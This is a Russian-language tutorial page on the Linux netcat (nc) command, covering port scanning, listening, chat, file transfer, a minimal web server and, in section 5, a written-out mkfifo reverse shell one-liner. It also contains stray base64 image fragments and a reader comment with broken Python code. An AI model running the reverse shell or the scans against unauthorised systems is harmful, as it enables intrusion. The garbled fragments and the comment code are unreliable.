Главная >> Команды >> Команда nc в Linux

Команда nc в Linux

Команда nc (netcat) служит для передачи и получения данных посредством протоколов TCP и UDP. Она не может похвастать большим набором функций, но при этом её достаточно для того, чтобы проверить соединение и провести несложную отладку.

Мы расмотрим несколько примеров, которые помогут понять то, как общаться посредством протокола TCP и как этому найти реальное прменение, вроде обмена файлами. Помимо этого не забудем упомянуть о более подходящих командах, всё же nc успела устареть.


Содержание статьи

Синтаксис и опции nc

Общий вид команды nc:

$ nc -параметры адрес порт(ы)

Часть параметров указывается с уточняющими значениями, а часть без них. Вот список наиболее востребованных параметров:

  • -6 – использовать протокол IPv6. По умолчанию используется параметр -4 и IPv4 соответственно;
  • -h – вывести справку со списком доступных параметров;
  • -i задержка – добавить задержку между отправкой строк или сканированием портов. Задаётся в секундах;
  • -l – режим прослушивания. Используется с указанием порта;
  • -N – закрыть соединение при достижении конца файла при его отправке;
  • -n – Работать с IP-адресами напрямую, не задействуя DNS, также отключить поиск портов;
  • -P имя_пользователя – указать имя пользователя для подключения к прокси;
  • -x адрес:порт – указать адрес и порт для подключения к прокси;
  • -p порт – указать номер порта. В большинстве случаев порт считывается без указания параметра;
  • -U – использовать сокет домена UNIX (для межпроцессного взаимодействия);
  • -u – использовать протокол UDP, по умолчанию используется TСP;
  • -v – подробный режим. Используется при сканировании портов;
  • -W количество_пакетов – закрыть соединение после получения определённого количества пакетов;
  • -w таймер – включить таймер для ограничения времени соединения. Задаётся в секундах;
  • -z – отключить отправку данных. Используется при сканировании портов.

Примеры использования nc

1. Проверка порта

Проверка портов – это одно из основных применений команды nc. Для этого достаточно использовать два параметра -vz, указать адрес и порт. Помимо этого, вы можете указать диапазон адресов, но в этом случае лучше отсеять только открытые порты с помощью команды grep. В примере проверим порты адреса локальной сети:

nc -vz 192.168.31.247 8080

nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

gVpZrChG7K0IsDAz5Pb8fwj64Sv7+QPGAAAAAElFTkSuQmCC

Аналогичным способом можно просканировать порты UDP, добавив параметр -u:

nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

Обращаем ваше внимание на отличие между TCP и UDP. UDP порты всегда доступны.

2. Прослушивание порта

Для того, чтобы прослушивать порт используйте параметр -l. В общем случае этого достаточно, но можете включить подробный режим:

nc -nlv 8080

WwtBJzV6H7YAAAAASUVORK5CYII=

Напомним, что при использовании протокола TСP порт должен быть в свободен, в противном случае вы увидите ошибку: Already in use. Также стоит отметить, что не все порты могут использовать обычные пользователи, например, 80 порт (HTTP) мало того, что скорее всего окажется занят другим процессом, так ещё и потребует прав суперпользователя.

3. Чат и обмен файлами

Ещё одной полезной функцией команды nc является обмен данными. Давайте рассмотрим простейший пример – текстовый чат. Для того, чтобы запустить чат на одном компьютере запускаем утилиту в режиме прослушивания порта:

nc -lp 8080

На другом компьютере потребуется указать адрес первого компьютера и тот же самый порт. Также не забудьте проверить, что порт открыт:

nc 0.0.0.0 8080

g93MKaNXplCwoULh27+PHCKwYEACH+FU1hZGUgd2l0aCBTY3JlZW5Ub0dpZgA7

Из этого примера видно, что таким способом можно как отправлять, так и получать сообщения. Из этого вытекает ещё одно применение команды – обмен файлами. Действуем по аналогичному сценарию с тем лишь отличием, что вывод перенаправим в файл, в нашем случае paste.txt:

nc -l 8080 > paste.txt

На другом компьютере вводом будет служить файл copy.txt. Не лишним будет использовать параметр -N, чтобы после передачи файла закрыть соединение:

nc -N 0.0.0.0 8080 < copy.txt

Для передачи файлов важно соблюсти последовательность, сначала открыть прослушивание и лишь потом отправлять файл.

Команда nc – это вполне рабочий, но далеко не самый лучший способ передачи файлов. Ранее мы рассматривали и другие способы передачи файлов, с ними вы сможете отслеживать прогресс передачи файла, а в ряде случаев даже возобновить процесс.

3. Простой веб-сервер

Так как команда nc работает с протоколом TСP, то c её помощью можно как отправлять, так и получать запросы HTTP, а это значит, что утилита может стать простейшим веб-сервером. Конечно, ничего сложнее страницы-заглушки у вас не получится запустить, но зато эта операция практически не отнимет времени, к тому же для этого не потребуется что-либо устанавливать.

В нашем примере мы сформируем ответ HTTP с файлом index.html. Если же говорить о самой команде np, то не лишним будет установить таймер параметром -w 1, чтобы разорвать соединение, если этого не сделает браузер:

while true; do echo -e "HTTP/1.1 200 OK\n\n$(cat index.html)" | nc -l -w 1 -p 8080; done

C+mxNClnjj1vAAAAABJRU5ErkJggg==

Для получения данных с сайта вы можете сформировать запрос и отправить его на советующий адрес и порт. Но такой способ довольно сложный, поэтому гораздо лучше воспользоваться более подходящей командой curl.

5. Удалённая оболочка

Если вспомнить то, как мы делали чат, может возникнуть ещё одна идея – удалённый доступ к оболочке компьютера. Ранее утилита nc имела несколько параметров для открытия доступа к терминалу. Параметр -e уже давно убрали из утилиты, поэтому простого доступа к терминалу уже не будет. Безопасность самого приложения стала выше, но оно по-прежнему может работать в связке с другими.

Покажем подключение с помощью именованного канала mkfifo. Но сначала запустим прослушивание порта на том компьютере, на котором будем получать доступ:

nc -lvnp 8080

Теперь перейдём непосредственно к команде для открытия терминала. Сначала удалим старый именованный канал (rm /tmp/f), на его месте создадим новый (mkfifo /tmp/f), прочитаем его содержимое (cat /tmp/f), а на его вывод отправим команду оболочки (sh -i 2>&1). После этого останется запустить nc с выводом в наш именованный канал (nc 0.0.0.0 8080 >/tmp/f):

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

gbe8qRjOThhn77GAQEysIhoIuMDCsSioW2Q7tJvEdEfeVMsDeJDYxQORmkiMZx4K+n8FK4sVxYS9lQEszAy5Pf8LlLE3Zed6xWYAAAAASUVORK5CYII=

Надо понимать, что, по сути, это один из способов взлома, однако, он может быть полезен в том случае, если возникли проблем с ssh. Для того, чтобы предотвратить атаку настраивайте политику безопасности и межсетевой экран.

Выводы

Команда Netcat – это довольно старая программа, её основная задача – проверка портов. Если же говорить именно о сканировании сети, то nmap имеет гораздо больше функций. Зато с помощью nc можно организовать простейший обмен сообщениями типа клиент-сервер.

В качестве удалённой оболочки использовать nc также можно, но на самом деле способов подключения, помимо ssh, довольно много, есть даже шпаргалки и целые сайты, так что не забывайте проверять то, что вы вводите в терминале сервера.

Creative Commons License
Статья распространяется под лицензией Creative Commons ShareAlike 4.0 при копировании материала ссылка на источник обязательна .

3 комментария к “Команда nc в Linux”

  1. "Обращаем ваше внимание на отличие между TCP и UDP. UDP порты всегда доступны."
    Бред. Отличие в наличии handshake у TCP. Проще говоря возвращается ответ с той стороны, что соединение установлено. UDP шлёт пакеты в никуда в надежде, что там что-то поймает.

    Ответить
  2. impopt socket
    import codecs
    import subprocess
    def send_data(data):
    subprocess.run(['echo', data, '|', 'nc', '', ''], shell=True)
    # Пример использования
    send_data('Hello, Server!')
    i=0
    sock = socket.socket()
    host =
    port =
    sock.connect((host, port))

    while i != :
    data = sock.recv(1024)
    print(data)
    data = codecs.escape_decode(data) [0] .decode( ' unicode-escape " )
    print(data)
    print(data. split())
    a = data.split()
    i+=1

    if i>= 2:
    a1 = a[-4]
    a2 = a[-2]
    print(a1,a2)
    result = str((int(a1)+int(a2)))
    print(result)

    message = result. encode()
    sock. sendall (message)

    Ответить
  3. Для режима прослушивания порта ключ -p всё-таки нужно указывать. Иначе netcat открывает рандомный порт.
    Команда: nc -vlnp 4444

    Ответить

Оставьте комментарий